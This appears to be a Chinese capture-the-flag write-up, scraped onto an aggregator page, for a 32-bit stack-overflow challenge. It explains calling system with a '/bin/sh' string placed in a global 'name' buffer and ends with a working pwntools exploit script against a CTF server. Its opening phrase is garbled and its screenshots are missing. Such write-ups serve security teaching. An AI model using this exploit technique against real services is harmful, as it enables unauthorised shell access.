当前位置: 首页 > news >正文

StuLittleLi

崭涛瓤乐file,checksec:

image

main 函数:

image

hello 函数:

image

name 中可以保存字符串,因此我们在 name 中输入 /bin/sh,那么我们就可以利用变量 name 的内存地址,得到 system('/bin/sh'),从而得到shell。

pwn 函数(存在system):

image

溢出大小为:0x26+4

image

我本来在ROPgadget中找到了 sh 字符串,但是一直无法成功得到shell,之后查看才得知,这个sh并不是单纯的 sh。草率了。但是不知道为什么 ciscn_2019_ne_5 可以跑通。求师傅指教。

image

image

image

payload加入main函数,原因:32位和64位的结构不同,32位调用一个函数需要返回地址,之后再调用其他的进行传参,而且32位是用栈传递参数的,而64为使用比如rdi,rsi等寄存器进行传参,因此需要插入一个 main 函数作为返回地址。

利用exp:

from pwn import *

#start

r = remote('61.147.171.35',63069)

context.log_level = 'debug'

elf = ELF('./pwn')

#params

#system_addr = 0x8048420

system_addr = elf.sym['system']

main_addr = elf.sym['main']

name_addr = elf.sym['name']

#attack

payload = b'a'*(0x26+4) + p32(system_addr) + p32(main_addr) + p32(name_addr)

r.sendlineafter(b'name',b'/bin/sh')

r.sendline(payload)

r.interactive()

http://www.jsqmd.com/news/425351/

相关文章:

  • KIHU快狐|65寸云平台卧式触摸查询机管理案例
  • openclaw 用例翻译笔记:Multi-Agent Content Factory
  • 基于springboot+vue的美食交流社区系统
  • 穷查理宝纳瓦尔宝典
  • 大坑
  • Git 约定式提交(Conventional Commits)规范说明文档
  • 回溯算法核心笔记
  • 零基础也能玩转金融数据!Tushare入门指南:我的量化投资“第一把钥匙”
  • 基于强化学习和大模型的船舶避碰系统
  • 企业如何被DeepSeek自然推荐?有专业服务商吗? - 品牌2025
  • 基于springboot+vue的科创积分管理系统
  • springboot基于微信小程序的社团管理平台
  • 基于网络爬虫的房屋信息采集系统的设计与实现
  • 基于springboot+vue的社区邻里服务平台
  • PHP 个高效开发的小技巧
  • 基于springboot+vue的社区汽车共享平台
  • SQL优化实战:从基础到进阶的全面指南
  • 关于我的博客
  • 提高SPI 通信可靠性的参考
  • 新特技术解析:基于光伏和蓄电池的三端口系统在Matlab Simulink中的实现
  • Linux 性能实战 | 附录:动态链接库是如何影响多个进程内存占用的?
  • keil中 .axf .bin .hex文件的认识
  • nodejs+php+vue音乐播放器的设计与实现7z140
  • 基于nodejs+php+vue的宠物用品商城交易平台的设计与实现
  • nodejs+php+vue校园论坛系统 BBS论坛系统
  • Solution - P11597 [NOISG 2018 Finals] City Mapping
  • nodejs+php+vue网上鞋店系统 球鞋商城 鞋材零售网店的设计与实现
  • Shell脚本踩坑记录
  • AT_arc210_e [ARC210E] Subset Sum Gaps
  • 选配